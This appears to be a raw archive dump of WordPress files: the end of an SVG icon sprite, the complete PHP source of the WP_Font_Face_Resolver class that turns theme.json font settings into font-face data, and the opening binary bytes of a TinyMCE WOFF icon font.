0v1h-4v-1h4z"/></g></symbol><symbol viewBox="0 0 20 20" id="testimonial"><title>testimonial</title><g><path d="M4 3h12c.55 0 1.02.2 1.41.59S18 4.45 18 5v7c0 .55-.2 1.02-.59 1.41S16.55 14 16 14h-1l-5 5v-5H4c-.55 0-1.02-.2-1.41-.59S2 12.55 2 12V5c0-.55.2-1.02.59-1.41S3.45 3 4 3zm11 2H4v1h11V5zm1 3H4v1h12V8zm-3 3H4v1h9v-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="text-page"><title>text-page</title><g><path d="M3 1v18h14V1H3zm9 13H6v-1h6v1zm2-3H6v-1h8v1zm0-3H6V7h8v1zm0-3H6V4h8v1z"/></g></symbol><symbol viewBox="0 0 20 20" id="text"><title>text</title><g><path d="M18 3v2H2V3h16zm-6 4v2H2V7h10zm6 0v2h-4V7h4zM8 11v2H2v-2h6zm10 0v2h-8v-2h8zm-4 4v2H2v-2h12z"/></g></symbol><symbol viewBox="0 0 20 20" id="thumbs-down"><title>thumbs-down</title><g><path d="M7.28 18c-.15.02-.26-.02-.41-.07-.56-.19-.83-.79-.66-1.35.17-.55 1-3.04 1-3.58 0-.53-.75-1-1.35-1h-3c-.6 0-1-.4-1-1s2-7 2-7c.17-.39.55-1 1-1H14v9h-2.14c-.41.41-3.3 4.71-3.58 5.27-.21.41-.6.68-1 .73zM18 12h-2V3h2v9z"/></g></symbol><symbol viewBox="0 0 20 20" id="thumbs-up"><title>thumbs-up</title><g><path d="M12.72 2c.15-.02.26.02.41.07.56.19.83.79.66 1.35-.17.55-1 3.04-1 3.58 0 .53.75 1 1.35 1h3c.6 0 1 .4 1 1s-2 7-2 7c-.17.39-.55 1-1 1H6V8h2.14c.41-.41 3.3-4.71 3.58-5.27.21-.41.6-.68 1-.73zM2 8h2v9H2V8z"/></g></symbol><symbol viewBox="0 0 20 20" id="tickets-alt"><title>tickets-alt</title><g><path d="M20 6.38L18.99 9.2v-.01c-.52-.19-1.03-.16-1.53.08s-.85.62-1.04 1.14-.16 1.03.07 1.53c.24.5.62.84 1.15 1.03v.01l-1.01 2.82-15.06-5.38.99-2.79c.52.19 1.03.16 1.53-.08.5-.23.84-.61 1.03-1.13s.16-1.03-.08-1.53c-.23-.49-.61-.83-1.13-1.02L4.93 1zm-4.97 5.69l1.37-3.76c.12-.31.1-.65-.04-.95s-.39-.53-.7-.65L8.14 3.98c-.64-.23-1.37.12-1.6.74L5.17 8.48c-.24.65.1 1.37.74 1.6l7.52 2.74c.14.05.28.08.43.08.52 0 1-.33 1.17-.83zM7.97 4.45l7.51 2.73c.19.07.34.21.43.39.08.18.09.38.02.57l-1.37 3.76c-.13.38-.58.59-.96.45L6.09 9.61c-.39-.14-.59-.57-.45-.96l1.37-3.76c.1-.29.39-.49.7-.49.09 0 .17.02.26.05zm6.82 12.14c.35.27.75.41 1.2.41H16v3H0v-2.96c.55 0 1.03-.2 1.41-.59.39-.38.59-.86.59-1.41s-.2-1.02-.59-1.41-.86-.59-1.41-.59V10h1.05l-.28.8 2.87 1.02c-.51.16-.89.62-.89 1.18v4c0 .69.56 1.25 1.25 1.25h8c.69 0 1.25-.56 1.25-1.25v-1.75l.83.3c.12.43.36.78.71 1.04zM3.25 17v-4c0-.41.34-.75.75-.75h.83l7.92 2.83V17c0 .41-.34.75-.75.75H4c-.41 0-.75-.34-.75-.75z"/></g></symbol><symbol viewBox="0 0 20 20" id="tickets"><title>tickets</title><g><path d="M20 5.38L18.99 8.2v-.01c-1.04-.37-2.19.18-2.57 1.22-.37 1.04.17 2.19 1.22 2.56v.01l-1.01 2.82L1.57 9.42l.99-2.79c1.04.38 2.19-.17 2.56-1.21s-.17-2.18-1.21-2.55L4.93 0zm-5.45 3.37c.74-2.08-.34-4.37-2.42-5.12-2.08-.74-4.37.35-5.11 2.42-.74 2.08.34 4.38 2.42 5.12 2.07.74 4.37-.35 5.11-2.42zm-2.56-4.74c.89.32 1.57.94 1.97 1.71-.01-.01-.02-.01-.04-.02-.33-.12-.67.09-.78.4-.1.28-.03.57.05.91.04.27.09.62-.06 1.04-.1.29-.33.58-.65 1l-.74 1.01.08-4.08.4.11c.19.04.26-.24.08-.29 0 0-.57-.15-.92-.28-.34-.12-.88-.36-.88-.36-.18-.08-.3.19-.12.27 0 0 .16.08.34.16l.01 1.63L9.2 9.18l.08-4.11c.2.06.4.11.4.11.19.04.26-.23.07-.29 0 0-.56-.15-.91-.28-.07-.02-.14-.05-.22-.08.93-.7 2.19-.94 3.37-.52zM7.4 6.19c.17-.49.44-.92.78-1.27l.04 5c-.94-.95-1.3-2.39-.82-3.73zm4.04 4.75l2.1-2.63c.37-.41.57-.77.69-1.12.05-.12.08-.24.11-.35.09.57.04 1.18-.17 1.77-.45 1.25-1.51 2.1-2.73 2.33zm-.7-3.22l.02 3.22c0 .02 0 .04.01.06-.4 0-.8-.07-1.2-.21-.33-.12-.63-.28-.9-.48zm1.24 6.08l2.1.75c.24.84 1 1.45 1.91 1.45H16v3H0v-2.96c1.1 0 2-.89 2-2 0-1.1-.9-2-2-2V9h1.05l-.28.8 4.28 1.52C4.4 12.03 4 12.97 4 14c0 2.21 1.79 4 4 4s4-1.79 4-4c0-.07-.02-.13-.02-.2zm-6.53-2.33l1.48.53c-.14.04-.15.27.03.28 0 0 .18.02.37.03l.56 1.54-.78 2.36-1.31-3.9c.21-.01.41-.03.41-.03.19-.02.17-.31-.02-.3 0 0-.59.05-.96.05-.07 0-.15 0-.23-.01.13-.2.28-.38.45-.55zM4.4 14c0-.52.12-1.02.32-1.46l1.71 4.7C5.23 16.65 4.4 15.42 4.4 14zm4.19-1.41l1.72.62c.07.17.12.37.12.61 0 .31-.12.66-.28 1.16l-.35 1.2zM11.6 14c0 1.33-.72 2.49-1.79 3.11l1.1-3.18c.06-.17.1-.31.14-.46l.52.19c.02.11.03.22.03.34zm-4.62 3.45l1.08-3.14 1.11 3.03c.01.02.01.04.02.05-.37.13-.77.21-1.19.21-.35 0-.69-.06-1.02-.15z"/></g></symbol><symbol viewBox="0 0 20 20" id="tide"><title>tide</title><g><path d="M3 12.8V17h14V9.9c-2.5.6-4.8 1.6-7 3V10c-2.2 1.3-4.5 2.3-7 2.8zM17 3H3v7.1c2.5-.6 4.9-1.6 7-3.1v3c2.1-1.4 4.5-2.3 7-2.8V3z"/></g></symbol><symbol viewBox="0 0 20 20" id="translation"><title>translation</title><g><path d="M11 7H9.49c-.63 0-1.25.3-1.59.7L7 5H4.13l-2.39 7h1.69l.74-2H7v4H2c-1.1 0-2-.9-2-2V5c0-1.1.9-2 2-2h7c1.1 0 2 .9 2 2v2zM6.51 9H4.49l1-2.93zM10 8h7c1.1 0 2 .9 2 2v7c0 1.1-.9 2-2 2h-7c-1.1 0-2-.9-2-2v-7c0-1.1.9-2 2-2zm7.25 5v-1.08h-3.17V9.75h-1.16v2.17H9.75V13h1.28c.11.85.56 1.85 1.28 2.62-.87.36-1.89.62-2.31.62-.01.02.22.97.2 1.46.84 0 2.21-.5 3.28-1.15 1.09.65 2.48 1.15 3.34 1.15-.02-.49.2-1.44.2-1.46-.43 0-1.49-.27-2.38-.63.7-.77 1.14-1.77 1.25-2.61h1.36zm-3.81 1.93c-.5-.46-.85-1.13-1.01-1.93h2.09c-.17.8-.51 1.47-1 1.93l-.04.03s-.03-.02-.04-.03z"/></g></symbol><symbol viewBox="0 0 20 20" id="trash"><title>trash</title><g><path d="M12 4h3c.6 0 1 .4 1 1v1H3V5c0-.6.5-1 1-1h3c.2-1.1 1.3-2 2.5-2s2.3.9 2.5 2zM8 4h3c-.2-.6-.9-1-1.5-1S8.2 3.4 8 4zM4 7h11l-.9 10.1c0 .5-.5.9-1 .9H5.9c-.5 0-.9-.4-1-.9L4 7z"/></g></symbol><symbol viewBox="0 0 20 20" id="twitch"><title>twitch</title><g><style>.st0{fill-rule:evenodd;clip-rule:evenodd;}</style><path d="M2.7 2L2 4.6v11.8h3.2V18H7l1.8-1.6h2.9l5.7-5.2V2H2.7zM16 10.5l-2.5 2.3h-4l-2.2 2v-2H4.2V3.3H16v7.2zm-2.5-4.6h-1.4v3.9h1.4V5.9zm-4 0H8.1v3.9h1.4V5.9z"/></g></symbol><symbol viewBox="0 0 20 20" id="twitter-alt"><title>twitter-alt</title><g><path d="M13.9 13.8H8.5c-.2 0-.3-.1-.3-.4v-3h5.7c1.1 0 2.1-.9 2.1-2.1 0-1.2-1-2.1-2.1-2.1H8.2V4.1C8.2 2.9 7.2 2 6 2c-1.1 0-2 .9-2 2.1v9.2C4 16 5.5 17.9 8.6 18H14c1.1 0 2.1-1 2.1-2.1-.1-1.2-1.1-2.1-2.2-2.1z"/></g></symbol><symbol viewBox="0 0 20 20" id="twitter"><title>twitter</title><g><path d="M18.94 4.46c-.49.73-1.11 1.38-1.83 1.9.01.15.01.31.01.47 0 4.85-3.69 10.44-10.43 10.44-2.07 0-4-.61-5.63-1.65.29.03.58.05.88.05 1.72 0 3.3-.59 4.55-1.57-1.6-.03-2.95-1.09-3.42-2.55.22.04.45.07.69.07.33 0 .66-.05.96-.13-1.67-.34-2.94-1.82-2.94-3.6v-.04c.5.27 1.06.44 1.66.46-.98-.66-1.63-1.78-1.63-3.06 0-.67.18-1.3.5-1.84 1.81 2.22 4.51 3.68 7.56 3.83-.06-.27-.1-.55-.1-.84 0-2.02 1.65-3.66 3.67-3.66 1.06 0 2.01.44 2.68 1.16.83-.17 1.62-.47 2.33-.89-.28.85-.86 1.57-1.62 2.02.75-.08 1.45-.28 2.11-.57z"/></g></symbol><symbol viewBox="0 0 20 20" id="undo"><title>undo</title><g><path d="M12 5H7V2L1 6l6 4V7h5c2.2 0 4 1.8 4 4s-1.8 4-4 4H7v2h5c3.3 0 6-2.7 6-6s-2.7-6-6-6z"/></g></symbol><symbol viewBox="0 0 20 20" id="universal-access-alt"><title>universal-access-alt</title><g><path d="M19 10c0-4.97-4.03-9-9-9s-9 4.03-9 9 4.03 9 9 9 9-4.03 9-9zm-9-7.4c.83 0 1.5.67 1.5 1.5s-.67 1.51-1.5 1.51c-.82 0-1.5-.68-1.5-1.51s.68-1.5 1.5-1.5zM3.4 7.36c0-.65 6.6-.76 6.6-.76s6.6.11 6.6.76-4.47 1.4-4.47 1.4 1.69 8.14 1.06 8.38c-.62.24-3.19-5.19-3.19-5.19s-2.56 5.43-3.18 5.19c-.63-.24 1.06-8.38 1.06-8.38S3.4 8.01 3.4 7.36z"/></g></symbol><symbol viewBox="0 0 20 20" id="universal-access"><title>universal-access</title><g><path d="M10 2.6c.83 0 1.5.67 1.5 1.5s-.67 1.51-1.5 1.51c-.82 0-1.5-.68-1.5-1.51s.68-1.5 1.5-1.5zM3.4 7.36c0-.65 6.6-.76 6.6-.76s6.6.11 6.6.76-4.47 1.4-4.47 1.4 1.69 8.14 1.06 8.38c-.62.24-3.19-5.19-3.19-5.19s-2.56 5.43-3.18 5.19c-.63-.24 1.06-8.38 1.06-8.38S3.4 8.01 3.4 7.36z"/></g></symbol><symbol viewBox="0 0 20 20" id="unlock"><title>unlock</title><g><path d="M12 9V6c0-1.1-.9-2-2-2s-2 .9-2 2H6c0-2.21 1.79-4 4-4s4 1.79 4 4v3h1c.55 0 1 .45 1 1v7c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1v-7c0-.55.45-1 1-1h7zm-1 7l-.36-2.15c.51-.24.86-.75.86-1.35 0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5c0 .6.35 1.11.86 1.35L9 16h2z"/></g></symbol><symbol viewBox="0 0 20 20" id="update-alt"><title>update-alt</title><g><path d="M5.7 9c.4-2 2.2-3.5 4.3-3.5 1.5 0 2.7.7 3.5 1.8l1.7-2C14 3.9 12.1 3 10 3 6.5 3 3.6 5.6 3.1 9H1l3.5 4L8 9H5.7zm9.8-2L12 11h2.3c-.5 2-2.2 3.5-4.3 3.5-1.5 0-2.7-.7-3.5-1.8l-1.7 1.9C6 16.1 7.9 17 10 17c3.5 0 6.4-2.6 6.9-6H19l-3.5-4z"/></g></symbol><symbol viewBox="0 0 20 20" id="update"><title>update</title><g><path d="M10.2 3.28c3.53 0 6.43 2.61 6.92 6h2.08l-3.5 4-3.5-4h2.32c-.45-1.97-2.21-3.45-4.32-3.45-1.45 0-2.73.71-3.54 1.78L4.95 5.66C6.23 4.2 8.11 3.28 10.2 3.28zm-.4 13.44c-3.52 0-6.43-2.61-6.92-6H.8l3.5-4c1.17 1.33 2.33 2.67 3.5 4H5.48c.45 1.97 2.21 3.45 4.32 3.45 1.45 0 2.73-.71 3.54-1.78l1.71 1.95c-1.28 1.46-3.15 2.38-5.25 2.38z"/></g></symbol><symbol viewBox="0 0 20 20" id="upload"><title>upload</title><g><path d="M8 14V8H5l5-6 5 6h-3v6H8zm-2 2v-6H4v8h12.01v-8H14v6H6z"/></g></symbol><symbol viewBox="0 0 20 20" id="vault"><title>vault</title><g><path d="M18 17V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v14c0 .55.45 1 1 1h14c.55 0 1-.45 1-1zm-1 0H3V3h14v14zM4.75 4h10.5c.41 0 .75.34.75.75V6h-1v3h1v2h-1v3h1v1.25c0 .41-.34.75-.75.75H4.75c-.41 0-.75-.34-.75-.75V4.75c0-.41.34-.75.75-.75zM13 10c0-2.21-1.79-4-4-4s-4 1.79-4 4 1.79 4 4 4 4-1.79 4-4zM9 7l.77 1.15C10.49 8.46 11 9.17 11 10c0 1.1-.9 2-2 2s-2-.9-2-2c0-.83.51-1.54 1.23-1.85z"/></g></symbol><symbol viewBox="0 0 20 20" id="video-alt"><title>video-alt</title><g><path d="M8 5c0-.55-.45-1-1-1H2c-.55 0-1 .45-1 1 0 .57.49 1 1 1h5c.55 0 1-.45 1-1zm6 5l4-4v10l-4-4v-2zm-1 4V8c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h8c.55 0 1-.45 1-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="video-alt2"><title>video-alt2</title><g><path d="M12 13V7c0-1.1-.9-2-2-2H3c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2zm1-2.5l6 4.5V5l-6 4.5v1z"/></g></symbol><symbol viewBox="0 0 20 20" id="video-alt3"><title>video-alt3</title><g><path d="M19 15V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h13c1.1 0 2-.9 2-2zM8 14V6l6 4z"/></g></symbol><symbol viewBox="0 0 20 20" id="visibility"><title>visibility</title><g><path d="M18.3 9.5C15 4.9 8.5 3.8 3.9 7.2c-1.2.9-2.2 2.1-3 3.4.2.4.5.8.8 1.2 3.3 4.6 9.6 5.6 14.2 2.4.9-.7 1.7-1.4 2.4-2.4.3-.4.5-.8.8-1.2-.3-.4-.5-.8-.8-1.1zm-8.2-2.3c.5-.5 1.3-.5 1.8 0s.5 1.3 0 1.8-1.3.5-1.8 0-.5-1.3 0-1.8zm-.1 7.7c-3.1 0-6-1.6-7.7-4.2C3.5 9 5.1 7.8 7 7.2c-.7.8-1 1.7-1 2.7 0 2.2 1.7 4.1 4 4.1 2.2 0 4.1-1.7 4.1-4v-.1c0-1-.4-2-1.1-2.7 1.9.6 3.5 1.8 4.7 3.5-1.7 2.6-4.6 4.2-7.7 4.2z"/></g></symbol><symbol viewBox="0 0 20 20" id="warning"><title>warning</title><g><path d="M10 2c4.42 0 8 3.58 8 8s-3.58 8-8 8-8-3.58-8-8 3.58-8 8-8zm1.13 9.38l.35-6.46H8.52l.35 6.46h2.26zm-.09 3.36c.24-.23.37-.55.37-.96 0-.42-.12-.74-.36-.97s-.59-.35-1.06-.35-.82.12-1.07.35-.37.55-.37.97c0 .41.13.73.38.96.26.23.61.34 1.06.34s.8-.11 1.05-.34z"/></g></symbol><symbol viewBox="0 0 20 20" id="welcome-add-page"><title>welcome-add-page</title><g><path d="M17 7V4h-2V2h-3v1H3v15h11V9h1V7h2zm-1-2v1h-2v2h-1V6h-2V5h2V3h1v2h2z"/></g></symbol><symbol viewBox="0 0 20 20" id="welcome-comments"><title>welcome-comments</title><g><path d="M5 2h10c1.1 0 2 .9 2 2v8c0 1.1-.9 2-2 2h-2l-5 5v-5H5c-1.1 0-2-.9-2-2V4c0-1.1.9-2 2-2zm8.5 8.5L11 8l2.5-2.5-1-1L10 7 7.5 4.5l-1 1L9 8l-2.5 2.5 1 1L10 9l2.5 2.5z"/></g></symbol><symbol viewBox="0 0 20 20" id="welcome-learn-more"><title>welcome-learn-more</title><g><path d="M10 10L2.54 7.02 3 18H1l.48-11.41L0 6l10-4 10 4zm0-5c-.55 0-1 .22-1 .5s.45.5 1 .5 1-.22 1-.5-.45-.5-1-.5zm0 6l5.57-2.23c.71.94 1.2 2.07 1.36 3.3-.3-.04-.61-.07-.93-.07-2.55 0-4.78 1.37-6 3.41C8.78 13.37 6.55 12 4 12c-.32 0-.63.03-.93.07.16-1.23.65-2.36 1.36-3.3z"/></g></symbol><symbol viewBox="0 0 20 20" id="welcome-view-site"><title>welcome-view-site</title><g><path d="M18 14V4c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v10c0 .55.45 1 1 1h14c.55 0 1-.45 1-1zm-8-8c2.3 0 4.4 1.14 6 3-1.6 1.86-3.7 3-6 3s-4.4-1.14-6-3c1.6-1.86 3.7-3 6-3zm2 3c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2zm2 8h3v1H3v-1h3v-1h8v1z"/></g></symbol><symbol viewBox="0 0 20 20" id="welcome-widgets-menus"><title>welcome-widgets-menus</title><g><path d="M19 16V3c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v13c0 .55.45 1 1 1h15c.55 0 1-.45 1-1zM4 4h13v4H4V4zm1 1v2h3V5H5zm4 0v2h3V5H9zm4 0v2h3V5h-3zm-8.5 5c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5zM6 10h4v1H6v-1zm6 0h5v5h-5v-5zm-7.5 2c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5zM6 12h4v1H6v-1zm7 0v2h3v-2h-3zm-8.5 2c.28 0 .5.22.5.5s-.22.5-.5.5-.5-.22-.5-.5.22-.5.5-.5zM6 14h4v1H6v-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="welcome-write-blog"><title>welcome-write-blog</title><g><path d="M16.89 1.2l1.41 1.41c.39.39.39 1.02 0 1.41L14 8.33V18H3V3h10.67l1.8-1.8c.4-.39 1.03-.4 1.42 0zm-5.66 8.48l5.37-5.36-1.42-1.42-5.36 5.37-.71 2.12z"/></g></symbol><symbol viewBox="0 0 20 20" id="whatsapp"><title>whatsapp</title><g><path d="M16.8 5.7C14.4 2 9.5.9 5.7 3.2 2 5.5.8 10.5 3.2 14.2l.2.3-.8 3 3-.8.3.2c1.3.7 2.7 1.1 4.1 1.1 1.5 0 3-.4 4.3-1.2 3.7-2.4 4.8-7.3 2.5-11.1zm-2.1 7.7c-.4.6-.9 1-1.6 1.1-.4 0-.9.2-2.9-.6-1.7-.8-3.1-2.1-4.1-3.6-.6-.7-.9-1.6-1-2.5 0-.8.3-1.5.8-2 .2-.2.4-.3.6-.3H7c.2 0 .4 0 .5.4.2.5.7 1.7.7 1.8.1.1.1.3 0 .4.1.2 0 .4-.1.5-.1.1-.2.3-.3.4-.2.1-.3.3-.2.5.4.6.9 1.2 1.4 1.7.6.5 1.2.9 1.9 1.2.2.1.4.1.5-.1s.6-.7.8-.9c.2-.2.3-.2.5-.1l1.6.8c.2.1.4.2.5.3.1.3.1.7-.1 1z"/></g></symbol><symbol viewBox="0 0 20 20" id="wordpress-alt"><title>wordpress-alt</title><g><path d="M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z"/></g></symbol><symbol viewBox="0 0 20 20" id="wordpress"><title>wordpress</title><g><path d="M20 10c0-5.52-4.48-10-10-10S0 4.48 0 10s4.48 10 10 10 10-4.48 10-10zM10 1.01c4.97 0 8.99 4.02 8.99 8.99s-4.02 8.99-8.99 8.99S1.01 14.97 1.01 10 5.03 1.01 10 1.01zM8.01 14.82L4.96 6.61c.49-.03 1.05-.08 1.05-.08.43-.05.38-1.01-.06-.99 0 0-1.29.1-2.13.1-.15 0-.33 0-.52-.01 1.44-2.17 3.9-3.6 6.7-3.6 2.09 0 3.99.79 5.41 2.09-.6-.08-1.45.35-1.45 1.42 0 .66.38 1.22.79 1.88.31.54.5 1.22.5 2.21 0 1.34-1.27 4.48-1.27 4.48l-2.71-7.5c.48-.03.75-.16.75-.16.43-.05.38-1.1-.05-1.08 0 0-1.3.11-2.14.11-.78 0-2.11-.11-2.11-.11-.43-.02-.48 1.06-.05 1.08l.84.08 1.12 3.04zm6.02 2.15L16.64 10s.67-1.69.39-3.81c.63 1.14.94 2.42.94 3.81 0 2.96-1.56 5.58-3.94 6.97zM2.68 6.77L6.5 17.25c-2.67-1.3-4.47-4.08-4.47-7.25 0-1.16.2-2.23.65-3.23zm7.45 4.53l2.29 6.25c-.75.27-1.57.42-2.42.42-.72 0-1.41-.11-2.06-.3z"/></g></symbol><symbol viewBox="0 0 20 20" id="xing"><title>xing</title><g><path d="M7.4 5.6c-.1-.3-.4-.4-.7-.4H4.4c-.2 0-.3.1-.4.3 0 .1 0 .2.1.2l1.6 2.7-2.5 4.3c-.1.1-.1.2 0 .4.1.1.2.2.3.2h2.3c.3 0 .5-.2.6-.4 0 0 2.4-4.2 2.5-4.4L7.4 5.6zm9.4-3.1c.1-.1.1-.2 0-.4-.1-.1-.2-.1-.3-.1h-2.3c-.3 0-.5.2-.6.4 0 0-5 8.8-5.1 9.1l3.3 6c.1.3.4.4.6.4h2.3c.1 0 .2 0 .3-.1.1-.1.1-.2 0-.3l-3.2-5.9 5-9.1z"/></g></symbol><symbol viewBox="0 0 20 20" id="yes-alt"><title>yes-alt</title><g><path d="M10 2c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm-.615 12.66h-1.34l-3.24-4.54 1.34-1.25 2.57 2.4 5.14-5.93 1.34.94-5.81 8.38z"/></g></symbol><symbol viewBox="0 0 20 20" id="yes"><title>yes</title><g><path d="M14.83 4.89l1.34.94-5.81 8.38H9.02L5.78 9.67l1.34-1.25 2.57 2.4z"/></g></symbol><symbol viewBox="0 0 20 20" id="youtube"><title>youtube</title><g><path d="M17.7 5.3c-.2-.7-.7-1.2-1.4-1.4-2.1-.2-4.2-.4-6.3-.3-2.1 0-4.2.1-6.3.3-.6.2-1.2.8-1.4 1.4C2.1 6.9 2 8.4 2 10s.1 3.1.3 4.7c.2.7.7 1.2 1.4 1.4 2.1.2 4.2.4 6.3.3 2.1 0 4.2-.1 6.3-.3.7-.2 1.2-.7 1.4-1.4.2-1.5.3-3.1.3-4.7s-.1-3.1-.3-4.7zM8 13V7l5.2 3L8 13z"/></g></symbol></svg>class-wp-font-face-resolver.php000064400000013024151024203310012474 0ustar00<?php
/**
 * WP_Font_Face_Resolver class.
 *
 * @package    WordPress
 * @subpackage Fonts
 * @since      6.4.0
 */

/**
 * The Font Face Resolver abstracts the processing of different data sources
 * (such as theme.json) for processing within the Font Face.
 *
 * This class is for internal core usage and is not supposed to be used by
 * extenders (plugins and/or themes).
 *
 * @access private
 */
class WP_Font_Face_Resolver {

	/**
	 * Gets fonts defined in theme.json.
	 *
	 * @since 6.4.0
	 *
	 * @return array Returns the font-families, each with their font-face variations.
	 */
	public static function get_fonts_from_theme_json() {
		$settings = wp_get_global_settings();

		// Bail out early if there are no font settings.
		if ( empty( $settings['typography']['fontFamilies'] ) ) {
			return array();
		}

		return static::parse_settings( $settings );
	}

	/**
	 * Gets fonts defined in style variations.
	 *
	 * @since 6.7.0
	 *
	 * @return array Returns an array of font-families.
	 */
	public static function get_fonts_from_style_variations() {
		$variations = WP_Theme_JSON_Resolver::get_style_variations();
		$fonts      = array();

		if ( empty( $variations ) ) {
			return $fonts;
		}

		foreach ( $variations as $variation ) {
			if ( ! empty( $variation['settings']['typography']['fontFamilies']['theme'] ) ) {
				$fonts = array_merge( $fonts, $variation['settings']['typography']['fontFamilies']['theme'] );
			}
		}

		$settings = array(
			'typography' => array(
				'fontFamilies' => array(
					'theme' => $fonts,
				),
			),
		);

		return static::parse_settings( $settings );
	}

	/**
	 * Parse theme.json settings to extract font definitions with variations grouped by font-family.
	 *
	 * @since 6.4.0
	 *
	 * @param array $settings Font settings to parse.
	 * @return array Returns an array of fonts, grouped by font-family.
	 */
	private static function parse_settings( array $settings ) {
		$fonts = array();

		foreach ( $settings['typography']['fontFamilies'] as $font_families ) {
			foreach ( $font_families as $definition ) {

				// Skip if "fontFace" is not defined, meaning there are no variations.
				if ( empty( $definition['fontFace'] ) ) {
					continue;
				}

				// Skip if "fontFamily" is not defined.
				if ( empty( $definition['fontFamily'] ) ) {
					continue;
				}

				$font_family_name = static::maybe_parse_name_from_comma_separated_list( $definition['fontFamily'] );

				// Skip if no font family is defined.
				if ( empty( $font_family_name ) ) {
					continue;
				}

				$fonts[] = static::convert_font_face_properties( $definition['fontFace'], $font_family_name );
			}
		}

		return $fonts;
	}

	/**
	 * Parse font-family name from comma-separated lists.
	 *
	 * If the given `fontFamily` is a comma-separated lists (example: "Inter, sans-serif" ),
	 * parse and return the fist font from the list.
	 *
	 * @since 6.4.0
	 *
	 * @param string $font_family Font family `fontFamily' to parse.
	 * @return string Font-family name.
	 */
	private static function maybe_parse_name_from_comma_separated_list( $font_family ) {
		if ( str_contains( $font_family, ',' ) ) {
			$font_family = explode( ',', $font_family )[0];
		}

		return trim( $font_family, "\"'" );
	}

	/**
	 * Converts font-face properties from theme.json format.
	 *
	 * @since 6.4.0
	 *
	 * @param array  $font_face_definition The font-face definitions to convert.
	 * @param string $font_family_property The value to store in the font-face font-family property.
	 * @return array Converted font-face properties.
	 */
	private static function convert_font_face_properties( array $font_face_definition, $font_family_property ) {
		$converted_font_faces = array();

		foreach ( $font_face_definition as $font_face ) {
			// Add the font-family property to the font-face.
			$font_face['font-family'] = $font_family_property;

			// Converts the "file:./" src placeholder into a theme font file URI.
			if ( ! empty( $font_face['src'] ) ) {
				$font_face['src'] = static::to_theme_file_uri( (array) $font_face['src'] );
			}

			// Convert camelCase properties into kebab-case.
			$font_face = static::to_kebab_case( $font_face );

			$converted_font_faces[] = $font_face;
		}

		return $converted_font_faces;
	}

	/**
	 * Converts each 'file:./' placeholder into a URI to the font file in the theme.
	 *
	 * The 'file:./' is specified in the theme's `theme.json` as a placeholder to be
	 * replaced with the URI to the font file's location in the theme. When a "src"
	 * beings with this placeholder, it is replaced, converting the src into a URI.
	 *
	 * @since 6.4.0
	 *
	 * @param array $src An array of font file sources to process.
	 * @return array An array of font file src URI(s).
	 */
	private static function to_theme_file_uri( array $src ) {
		$placeholder = 'file:./';

		foreach ( $src as $src_key => $src_url ) {
			// Skip if the src doesn't start with the placeholder, as there's nothing to replace.
			if ( ! str_starts_with( $src_url, $placeholder ) ) {
				continue;
			}

			$src_file        = str_replace( $placeholder, '', $src_url );
			$src[ $src_key ] = get_theme_file_uri( $src_file );
		}

		return $src;
	}

	/**
	 * Converts all first dimension keys into kebab-case.
	 *
	 * @since 6.4.0
	 *
	 * @param array $data The array to process.
	 * @return array Data with first dimension keys converted into kebab-case.
	 */
	private static function to_kebab_case( array $data ) {
		foreach ( $data as $key => $value ) {
			$kebab_case          = _wp_to_kebab_case( $key );
			$data[ $kebab_case ] = $value;
			if ( $kebab_case !== $key ) {
				unset( $data[ $key ] );
			}
		}

		return $data;
	}
}
tinymce-small.woff000064400000022244151024320400010200 0ustar00wOFF$�$XOS/2``$cmaphllƭ��gasp�glyf�	G�head �66g�{hhea!$$��hmtx!<����loca" tt�$�Zmaxp"�  I�name"���L܁post$�  ��������3	@����@�@ P �(�2�5����� ��*�4�������   5��797979@��7%'!"3!2653#5!81!813#4&#!"#33!26=��!//!�!/��@@�����@&��&@@&@&�PP�/!� !//!������&&���&&������.'.#!"3!2654&'#5!8181!!81S�A�`&&�&.
�
����͆&�&& A-
�
